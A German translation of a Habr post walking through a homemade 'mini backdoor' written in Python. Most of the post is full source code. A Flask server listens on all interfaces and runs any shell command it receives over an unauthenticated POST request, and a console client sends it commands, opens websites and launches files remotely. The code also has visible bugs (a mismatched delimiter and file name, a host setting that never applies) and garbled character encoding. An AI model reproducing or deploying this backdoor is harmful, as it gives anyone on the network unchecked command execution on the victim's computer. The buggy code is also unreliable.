Hallo, Habr!
Vor kurzem habe ich mir die heruntergeladene Version des Streams ĂŒber Programmierung «Wie man seine eigene Webanwendung mit Flask erstellt» angesehen. Ich wollte mein Wissen in einem Projekt festigen. Ich wusste lange nicht, was ich schreiben sollte, bis mir die Idee kam: âWarum nicht ein Mini-Backdoor mit Flask erstellen?â
Sofort kamen mir erste Umsetzungsideen und Möglichkeiten fĂŒr das Backdoor in den Sinn. Aber ich beschloss, sofort eine Liste der Möglichkeiten fĂŒr das Backdoor zu erstellen:
- Webseiten aufrufen können
- Zugriff auf die Kommandozeile haben
- Programme, Fotos, Videos öffnen können
Der erste Punkt lĂ€sst sich ganz einfach mit dem Modul webbrowser umsetzen. Den zweiten Punkt wollte ich mit dem Modul os realisieren. Und den dritten ebenfalls ĂŒber das Modul os, aber ich werde "Links" verwenden (darĂŒber spĂ€ter mehr).
Programmierung Server
Also, *Trommelwirbel* hier ist der gesamte Servercode:
from flask import Flask, request
import webbrowser
import os
import re
app = Flask(__name__)
@app.route('/mycomp', methods=['POST'])
def hell():
json_string = request.json
if json_string['command'] == 'test':
return 'Der Server lÀuft und wartet auf Befehle...'
if json_string['command'] == 'openweb':
webbrowser.open(url='https://www.'+json_string['data'], new=0)
return 'Ăffne die Seite ' + json_string['data'] + '...'
if json_string['command'] == 'shell':
os.system(json_string['data'])
return 'BefehlsausfĂŒhrung ' + json_string['data'] + '...'
if json_string['command'] == 'link':
links = open('links.txt', 'r')
for i in range(int(json_string['data'])):
link = links.readline()
os.system(link.split('<')[0])
return 'Starte ' + link.split('<')[1]
if __name__ == '__main__':
app.run(host='0.0.0.0')
Ich habe bereits den gesamten Code bereitgestellt, jetzt ist es an der Zeit, die Essenz zu erklÀren.
Der gesamte Code lĂ€uft auf dem lokalen Computer am Port 5000. Um mit dem Server durch zu interagieren, mĂŒssen wir eine JSON-POST-Anfrage senden.
Die Struktur der JSON-Anfrage ist:
{âcommandâ: âcomecommandâ, âdataâ: âsomedataâ}Nun, es ist logisch, dass âcommandâ der Befehl ist, den wir ausfĂŒhren möchten. Und âdataâ sind die Argumente des Befehls.
Man kann JSON-Anfragen manuell erstellen und senden, um mit dem Server zu interagieren (hierfĂŒr helfen Ihnen die Requests). Alternativ kann man einen Konsolen-Client schreiben.
Das Schreiben eines Clients
Code:
import requests
logo = ['nn',
'****** ********',
'******* *********',
'** ** ** **',
'** ** ** ** Geschrieben in Python',
'******* ** **',
'******** ** **',
'** ** ** ** Autor: ROBOTD4',
'** ** ** **',
'** ** ** **',
'******** *********',
'******* ********',
'nn']
p = ''
iport = '192.168.1.2:5000'
host = 'http://'+ iport + '/mycomp'
def test():
dict = {'command': 'test', 'data': 0}
r = requests.post(host, json=dict)
if r.status_code == 200:
print(r.content.decode('utf-8'))
def start():
for i in logo:
print(i)
start()
test()
while True:
command = input('>')
if command == '':
continue
a = command.split()
if command == 'test':
dict = {'command': 'test', 'data': 0}
r = requests.post(host, json=dict)
if r.status_code == 200:
print(r.content.decode('utf-8'))
if a[0] == 'shell':
for i in range(1, len(a)):
p = p + a[i] + ' '
dict = {'command': 'shell', 'data': p}
r = requests.post(host, json=dict)
if r.status_code == 200:
print(r.content.decode('utf-8'))
p = ''
if a[0] == 'link':
if len(a) > 1:
dict = {'command': 'link', 'data': int(a[1])}
r = requests.post(host, json=dict)
if r.status_code == 200:
print(r.content.decode('utf-8'))
else:
print('Der Befehl enthÀlt keine Argumente!')
if a[0] == 'openweb':
if len(a) > 1:
dict = {'command': 'openweb', 'data': a[1]}
r = requests.post(host, json=dict)
if r.status_code == 200:
print(r.content.decode('utf-8'))
else:
print('Der Befehl enthÀlt keine Argumente!')
if a[0] == 'set':
if a[1] == 'host':
ip = a[2] + ':5000'
if command == 'quit':
break
ErklÀrungen:
Zuerst wird das Modul requests importiert (fĂŒr die Interaktion mit dem Server). Danach folgen die Beschreibungen der Funktionen start und test. AnschlieĂend gibt es eine Schleife, in der das Wunder passiert. Haben Sie den Code gelesen? Dann ist Ihnen der Sinn des Wunders in der Schleife klar. Geben Sie einen Befehl ein â er wird ausgefĂŒhrt. Shell â Befehle fĂŒr die Eingabeaufforderung (die Logik ist kaum zu fassen).
Test â ĂberprĂŒfung, ob der Server (Backdoor) funktioniert.
Link â Verwendung eines âLinksâ
Openweb â Ăffnen einer Website
Quit â Beenden des Clients
Set â Festlegen der IP Ihres Computers im lokalen Netzwerk
Jetzt etwas genauer zu link.
Neben dem Server befindet sich die Datei link.txt. Darin sind die Links (vollstÀndiger Pfad) zu Dateien (Videos, Fotos, Programme) enthalten.
Die Struktur ist wie folgt:
voller_Pfad>Beschreibung
voller_Pfad>Beschreibung
Zusammenfassung
Wir haben einen Backdoor-Server zur Verwaltung des Computers im lokalen Netzwerk (innerhalb des WLANs). Technisch gesehen können wir den Client von jedem GerĂ€t aus starten, das ĂŒber einen Python-Interpreter verfĂŒgt.
P.S. Den Befehl set habe ich hinzugefĂŒgt, damit, falls einem Computer im lokalen Netzwerk eine andere IP zugewiesen wird, diese direkt im Client geĂ€ndert werden kann.
Quelle: habr.com
